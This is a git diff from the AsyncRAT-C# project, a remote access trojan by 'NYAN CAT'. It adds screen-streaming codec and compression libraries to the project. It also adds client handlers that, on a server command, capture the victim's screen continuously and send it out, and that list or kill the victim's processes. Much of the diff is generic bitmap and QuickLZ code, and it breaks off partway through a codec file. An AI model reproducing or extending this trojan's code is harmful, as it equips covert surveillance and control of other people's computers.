||||||
|
}
|
||||||
|
|
||||||
|
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
|
||||||
|
write_header(destination, level, true, Length, dst);
|
||||||
|
d2 = new byte[dst];
|
||||||
|
System.Array.Copy(destination, d2, dst);
|
||||||
|
return d2;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private void fast_write(byte[] a, int i, int value, int numbytes)
|
||||||
|
{
|
||||||
|
for (int j = 0; j < numbytes; j++)
|
||||||
|
a[i + j] = (byte)(value >> (j * 8));
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] decompress(byte[] source, int Offset, int Length)
|
||||||
|
{
|
||||||
|
int level;
|
||||||
|
int size = sizeDecompressed(source, Offset);
|
||||||
|
int src = headerLen(source, Offset) + Offset;
|
||||||
|
int dst = 0;
|
||||||
|
uint cword_val = 1;
|
||||||
|
byte[] destination = new byte[size];
|
||||||
|
int[] hashtable = new int[4096];
|
||||||
|
byte[] hash_counter = new byte[4096];
|
||||||
|
int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
|
||||||
|
int last_hashed = -1;
|
||||||
|
int hash;
|
||||||
|
uint fetch = 0;
|
||||||
|
|
||||||
|
level = (source[Offset] >> 2) & 0x3;
|
||||||
|
|
||||||
|
if (level != 1 && level != 3)
|
||||||
|
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||||
|
|
||||||
|
if ((source[Offset] & 1) != 1)
|
||||||
|
{
|
||||||
|
byte[] d2 = new byte[size];
|
||||||
|
System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
|
||||||
|
return d2;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (; ; )
|
||||||
|
{
|
||||||
|
if (cword_val == 1)
|
||||||
|
{
|
||||||
|
cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||||
|
src += 4;
|
||||||
|
if (dst <= last_matchstart)
|
||||||
|
{
|
||||||
|
if (level == 1)
|
||||||
|
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||||
|
else
|
||||||
|
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((cword_val & 1) == 1)
|
||||||
|
{
|
||||||
|
uint matchlen;
|
||||||
|
uint offset2;
|
||||||
|
|
||||||
|
cword_val = cword_val >> 1;
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
{
|
||||||
|
hash = ((int)fetch >> 4) & 0xfff;
|
||||||
|
offset2 = (uint)hashtable[hash];
|
||||||
|
|
||||||
|
if ((fetch & 0xf) != 0)
|
||||||
|
{
|
||||||
|
matchlen = (fetch & 0xf) + 2;
|
||||||
|
src += 2;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
matchlen = source[src + 2];
|
||||||
|
src += 3;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
uint offset;
|
||||||
|
if ((fetch & 3) == 0)
|
||||||
|
{
|
||||||
|
offset = (fetch & 0xff) >> 2;
|
||||||
|
matchlen = 3;
|
||||||
|
src++;
|
||||||
|
}
|
||||||
|
else if ((fetch & 2) == 0)
|
||||||
|
{
|
||||||
|
offset = (fetch & 0xffff) >> 2;
|
||||||
|
matchlen = 3;
|
||||||
|
src += 2;
|
||||||
|
}
|
||||||
|
else if ((fetch & 1) == 0)
|
||||||
|
{
|
||||||
|
offset = (fetch & 0xffff) >> 6;
|
||||||
|
matchlen = ((fetch >> 2) & 15) + 3;
|
||||||
|
src += 2;
|
||||||
|
}
|
||||||
|
else if ((fetch & 127) != 3)
|
||||||
|
{
|
||||||
|
offset = (fetch >> 7) & 0x1ffff;
|
||||||
|
matchlen = ((fetch >> 2) & 0x1f) + 2;
|
||||||
|
src += 3;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
offset = (fetch >> 15);
|
||||||
|
matchlen = ((fetch >> 7) & 255) + 3;
|
||||||
|
src += 4;
|
||||||
|
}
|
||||||
|
offset2 = (uint)(dst - offset);
|
||||||
|
}
|
||||||
|
|
||||||
|
destination[dst + 0] = destination[offset2 + 0];
|
||||||
|
destination[dst + 1] = destination[offset2 + 1];
|
||||||
|
destination[dst + 2] = destination[offset2 + 2];
|
||||||
|
|
||||||
|
for (int i = 3; i < matchlen; i += 1)
|
||||||
|
{
|
||||||
|
destination[dst + i] = destination[offset2 + i];
|
||||||
|
}
|
||||||
|
|
||||||
|
dst += (int)matchlen;
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
{
|
||||||
|
fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
|
||||||
|
while (last_hashed < dst - matchlen)
|
||||||
|
{
|
||||||
|
last_hashed++;
|
||||||
|
hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
|
||||||
|
hashtable[hash] = last_hashed;
|
||||||
|
hash_counter[hash] = 1;
|
||||||
|
fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
|
||||||
|
}
|
||||||
|
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||||
|
}
|
||||||
|
last_hashed = dst - 1;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (dst <= last_matchstart)
|
||||||
|
{
|
||||||
|
destination[dst] = source[src];
|
||||||
|
dst += 1;
|
||||||
|
src += 1;
|
||||||
|
cword_val = cword_val >> 1;
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
{
|
||||||
|
while (last_hashed < dst - 3)
|
||||||
|
{
|
||||||
|
last_hashed++;
|
||||||
|
int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
|
||||||
|
hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
|
||||||
|
hashtable[hash] = last_hashed;
|
||||||
|
hash_counter[hash] = 1;
|
||||||
|
}
|
||||||
|
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
while (dst <= size - 1)
|
||||||
|
{
|
||||||
|
if (cword_val == 1)
|
||||||
|
{
|
||||||
|
src += CWORD_LEN;
|
||||||
|
cword_val = 0x80000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
destination[dst] = source[src];
|
||||||
|
dst++;
|
||||||
|
src++;
|
||||||
|
cword_val = cword_val >> 1;
|
||||||
|
}
|
||||||
|
return destination;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
177
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs
Normal file
177
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs
Normal file
@ -0,0 +1,177 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public unsafe class SimpleBitmap
|
||||||
|
{
|
||||||
|
private object ProcessingLock = new object();
|
||||||
|
|
||||||
|
public SimpleBitmapInfo Info { get; internal set; }
|
||||||
|
public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
|
||||||
|
public IntPtr Scan0 { get; internal set; }
|
||||||
|
public int Scan0_int { get; internal set; }
|
||||||
|
public BitmapData bitmapData { get; internal set; }
|
||||||
|
public Bitmap bitMap { get; set; }
|
||||||
|
|
||||||
|
public class SimpleBitmapInfo
|
||||||
|
{
|
||||||
|
public SimpleBitmapInfo()
|
||||||
|
{
|
||||||
|
Clear();
|
||||||
|
}
|
||||||
|
public SimpleBitmapInfo(BitmapData data)
|
||||||
|
{
|
||||||
|
Load(data);
|
||||||
|
}
|
||||||
|
public int Stride { get; protected set; }
|
||||||
|
public int PixelSize { get; protected set; }
|
||||||
|
public int Width { get; protected set; }
|
||||||
|
public int Height { get; protected set; }
|
||||||
|
|
||||||
|
public int TotalSize { get; protected set; }
|
||||||
|
|
||||||
|
internal void Clear()
|
||||||
|
{
|
||||||
|
Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
|
||||||
|
}
|
||||||
|
internal void Load(BitmapData data)
|
||||||
|
{
|
||||||
|
Width = data.Width; Height = data.Height; Stride = data.Stride;
|
||||||
|
|
||||||
|
PixelSize = Math.Abs(data.Stride) / data.Width;
|
||||||
|
TotalSize = data.Width * data.Height * PixelSize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||||
|
{
|
||||||
|
int calc = 0;
|
||||||
|
int WidthSize = block.Width * sharedInfo.PixelSize;
|
||||||
|
|
||||||
|
calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
|
||||||
|
|
||||||
|
for (int i = 0; i < block.Height; i++)
|
||||||
|
{
|
||||||
|
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
|
||||||
|
return false;
|
||||||
|
calc += sharedInfo.Stride;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||||
|
{
|
||||||
|
int calc = 0;
|
||||||
|
int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
|
||||||
|
|
||||||
|
calc = y * sharedInfo.Stride;
|
||||||
|
|
||||||
|
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
|
||||||
|
return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||||
|
{
|
||||||
|
if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
|
||||||
|
return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
|
||||||
|
{
|
||||||
|
int calc = 0;
|
||||||
|
int WidthSize = block.Width * Info.PixelSize;
|
||||||
|
int CopyOffset = 0;
|
||||||
|
int scan0 = Scan0.ToInt32();
|
||||||
|
int destSize = WidthSize * block.Height;
|
||||||
|
|
||||||
|
if (dest == null || dest.Length != destSize)
|
||||||
|
dest = new byte[destSize];
|
||||||
|
|
||||||
|
calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
|
||||||
|
|
||||||
|
fixed (byte* ptr = dest)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < block.Height; i++)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
|
||||||
|
calc += Info.Stride;
|
||||||
|
CopyOffset += WidthSize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public SimpleBitmap()
|
||||||
|
{
|
||||||
|
Scan0 = IntPtr.Zero;
|
||||||
|
bitmapData = null;
|
||||||
|
bitMap = null;
|
||||||
|
|
||||||
|
Info = new SimpleBitmapInfo();
|
||||||
|
}
|
||||||
|
public SimpleBitmap(Bitmap bmp)
|
||||||
|
{
|
||||||
|
this.bitMap = bmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Lock()
|
||||||
|
{
|
||||||
|
if (Locked)
|
||||||
|
throw new Exception("Already locked");
|
||||||
|
|
||||||
|
lock (ProcessingLock)
|
||||||
|
{
|
||||||
|
bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
|
||||||
|
|
||||||
|
Info = new SimpleBitmapInfo(bitmapData);
|
||||||
|
|
||||||
|
Scan0 = bitmapData.Scan0;
|
||||||
|
Scan0_int = Scan0.ToInt32();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Unlock()
|
||||||
|
{
|
||||||
|
if (!Locked)
|
||||||
|
throw new Exception("Nothing to unlock");
|
||||||
|
|
||||||
|
lock (ProcessingLock)
|
||||||
|
{
|
||||||
|
Scan0 = IntPtr.Zero;
|
||||||
|
Scan0_int = 0;
|
||||||
|
|
||||||
|
Info.Clear();
|
||||||
|
bitMap.UnlockBits(bitmapData);
|
||||||
|
bitmapData = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
|
||||||
|
{
|
||||||
|
int CopySize = Info.PixelSize * loc.Width;
|
||||||
|
int OffsetX = loc.X * Info.PixelSize;
|
||||||
|
int TotalCopied = 0;
|
||||||
|
|
||||||
|
fixed (byte* ptr = block)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < loc.Height; i++)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
|
||||||
|
TotalCopied += CopySize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Dispose(bool disposeBitmap = false)
|
||||||
|
{
|
||||||
|
if (Locked)
|
||||||
|
Unlock();
|
||||||
|
|
||||||
|
if (disposeBitmap)
|
||||||
|
bitMap.Dispose();
|
||||||
|
|
||||||
|
bitMap = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -23,6 +23,7 @@
|
|||||||
<WarningLevel>4</WarningLevel>
|
<WarningLevel>4</WarningLevel>
|
||||||
<DocumentationFile>
|
<DocumentationFile>
|
||||||
</DocumentationFile>
|
</DocumentationFile>
|
||||||
|
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
<PlatformTarget>x86</PlatformTarget>
|
<PlatformTarget>x86</PlatformTarget>
|
||||||
@ -40,6 +41,8 @@
|
|||||||
<Reference Include="Microsoft.VisualBasic" />
|
<Reference Include="Microsoft.VisualBasic" />
|
||||||
<Reference Include="System" />
|
<Reference Include="System" />
|
||||||
<Reference Include="Microsoft.CSharp" />
|
<Reference Include="Microsoft.CSharp" />
|
||||||
|
<Reference Include="System.Drawing" />
|
||||||
|
<Reference Include="System.Management" />
|
||||||
<Reference Include="System.Windows.Forms" />
|
<Reference Include="System.Windows.Forms" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@ -50,6 +53,37 @@
|
|||||||
<Compile Include="MessagePack\WriteTools.cs" />
|
<Compile Include="MessagePack\WriteTools.cs" />
|
||||||
<Compile Include="Program.cs" />
|
<Compile Include="Program.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\DirectDriverCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\MJPGCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\QuickCachedStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\QuickStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\SmallCachedStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\SmallStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Encoders\GridCoder\GridBlock.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Encoders\GridCoder\GridEncoder.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Enums.cs" />
|
||||||
|
<Compile Include="StreamLibrary\IEncoder.cs" />
|
||||||
|
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\CRC32.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\ExtensionAttribute.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\Extentions.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\FastBitmap.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\MurmurHash2Unsafe.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\PayloadWriter.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\PointerHelper.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\SafeQuickLZ.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\SimpleBitmap.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCacheCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCachedStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeMiniCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeOptimizedCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeQuickStream.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup />
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
||||||
@ -11,7 +11,12 @@ using System.Windows.Forms;
|
|||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Cryptography;
|
using System.Security.Cryptography;
|
||||||
|
using StreamLibrary;
|
||||||
|
using StreamLibrary.UnsafeCodecs;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.Management;
|
||||||
|
using System.Linq;
|
||||||
|
|
||||||
// │ Author : NYAN CAT
|
// │ Author : NYAN CAT
|
||||||
// │ Name : AsyncRAT // Simple Socket
|
// │ Name : AsyncRAT // Simple Socket
|
||||||
@ -157,6 +162,7 @@ namespace Client
|
|||||||
if (Buffer[0] == 0)
|
if (Buffer[0] == 0)
|
||||||
{
|
{
|
||||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||||
|
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///");
|
||||||
MS.Dispose();
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
if (Buffersize > 0)
|
if (Buffersize > 0)
|
||||||
@ -270,6 +276,45 @@ namespace Client
|
|||||||
Uninstall();
|
Uninstall();
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
case "remoteDesktop":
|
||||||
|
{
|
||||||
|
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||||
|
{
|
||||||
|
case "false":
|
||||||
|
{
|
||||||
|
RemoteDesktop_Status = false;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case "true":
|
||||||
|
{
|
||||||
|
RemoteDesktop_Status = true;
|
||||||
|
RemoteDesktop();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case "processManager":
|
||||||
|
{
|
||||||
|
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||||
|
{
|
||||||
|
case "List":
|
||||||
|
{
|
||||||
|
ProcessManager();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case "Kill":
|
||||||
|
{
|
||||||
|
ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -282,6 +327,105 @@ namespace Client
|
|||||||
BeginSend(msgpack.Encode2Bytes());
|
BeginSend(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static void ProcessKill(int ID)
|
||||||
|
{
|
||||||
|
foreach (var process in Process.GetProcesses())
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (process.Id == ID)
|
||||||
|
{
|
||||||
|
process.Kill();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { };
|
||||||
|
}
|
||||||
|
ProcessManager();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void ProcessManager()
|
||||||
|
{
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
var query = "SELECT ProcessId, Name, ExecutablePath FROM Win32_Process";
|
||||||
|
using (var searcher = new ManagementObjectSearcher(query))
|
||||||
|
using (var results = searcher.Get())
|
||||||
|
{
|
||||||
|
var processes = results.Cast<ManagementObject>().Select(x => new
|
||||||
|
{
|
||||||
|
ProcessId = (UInt32)x["ProcessId"],
|
||||||
|
Name = (string)x["Name"],
|
||||||
|
ExecutablePath = (string)x["ExecutablePath"]
|
||||||
|
});
|
||||||
|
foreach (var p in processes)
|
||||||
|
{
|
||||||
|
if (File.Exists(p.ExecutablePath))
|
||||||
|
{
|
||||||
|
string name = p.ExecutablePath;
|
||||||
|
string key = p.ProcessId.ToString();
|
||||||
|
Icon icon = Icon.ExtractAssociatedIcon(p.ExecutablePath);
|
||||||
|
Bitmap bmpIcon = icon.ToBitmap();
|
||||||
|
using (MemoryStream ms = new MemoryStream())
|
||||||
|
{
|
||||||
|
bmpIcon.Save(ms, ImageFormat.Png);
|
||||||
|
sb.Append(name + "-=>" + key + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||||
|
msgpack.ForcePathObject("Message").AsString = sb.ToString();
|
||||||
|
BeginSend(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
|
||||||
|
private static bool RemoteDesktop_Status { get; set; }
|
||||||
|
private static void RemoteDesktop()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);
|
||||||
|
while (RemoteDesktop_Status == true)
|
||||||
|
{
|
||||||
|
Thread.Sleep(1);
|
||||||
|
if (!Client.Connected) break;
|
||||||
|
Bitmap bmp = CaptureScreen();
|
||||||
|
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||||
|
Size size = new Size(bmp.Width, bmp.Height);
|
||||||
|
BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
|
||||||
|
|
||||||
|
using (MemoryStream stream = new MemoryStream(1000000))
|
||||||
|
{
|
||||||
|
unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
|
||||||
|
if (stream.Length > 0)
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
|
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
|
||||||
|
BeginSend(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
bmp.UnlockBits(bmpData);
|
||||||
|
bmp.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Bitmap CaptureScreen()
|
||||||
|
{
|
||||||
|
Rectangle rect = Screen.AllScreens[0].WorkingArea;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
||||||
|
Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
|
||||||
|
gfxScreenshot.CopyFromScreen(0, 0, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||||
|
gfxScreenshot.Dispose();
|
||||||
|
return bmpScreenshot;
|
||||||
|
}
|
||||||
|
catch { return new Bitmap(rect.Width, rect.Height); }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
private static void Uninstall()
|
private static void Uninstall()
|
||||||
{
|
{
|
||||||
ProcessStartInfo Del = null;
|
ProcessStartInfo Del = null;
|
||||||
|
|||||||
160
AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs
Normal file
160
AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs
Normal file
@ -0,0 +1,160 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class DirectDriverCodec
|
||||||
|
{
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
|
||||||
|
private byte[] EncodeBuffer;
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private JpgCompression jpgCompression;
|
||||||
|
|
||||||
|
public DirectDriverCodec(int Quality)
|
||||||
|
{
|
||||||
|
jpgCompression = new JpgCompression(Quality);
|
||||||
|
}
|
||||||
|
|
||||||
|
public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
this.EncodeBuffer = new byte[RawLength];
|
||||||
|
fixed (byte* ptr = EncodeBuffer)
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < Changes.Length; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = Changes[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
